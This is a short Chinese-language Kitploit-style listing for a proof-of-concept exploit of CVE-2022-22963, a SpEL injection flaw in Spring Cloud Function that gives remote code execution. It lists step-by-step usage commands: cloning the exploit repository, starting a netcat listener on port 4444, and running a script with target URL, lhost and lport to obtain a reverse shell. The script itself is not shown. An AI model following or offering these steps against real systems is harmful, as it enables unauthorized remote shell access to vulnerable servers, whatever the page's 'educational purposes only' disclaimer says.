CVE-2022-22963 — 针对 CVE-2022-22963 的概念验证漏洞利用，该漏洞是 Spring Cloud Function 中的 SpEL 注入漏洞，可导致远程代码执行。包含一个用于自动化利用并携带反弹 Shell 负载的 shell 脚本。 | Kitploit

CVE-2022-22963

在Spring Cloud Function的3.1.6、3.2.2及更早版本中，当使用路由功能时，用户可能提供特制的SpEL作为路由表达式，从而导致远程代码执行和本地资源访问。

PoC

克隆仓库

git clone https://github.com/jrbH4CK/CVE-2022-22963.git

进入文件夹

cd CVE-2022-22963

更改执行权限

chmode +x springCloud.sh

在所需端口启动nc

nc -nlvp 4444

根据自己的需要修改参数，执行以下命令

./springCloud.sh url lhost lport

注意：此仓库的使用由使用者负责，与作者无关，仅用于教育目的。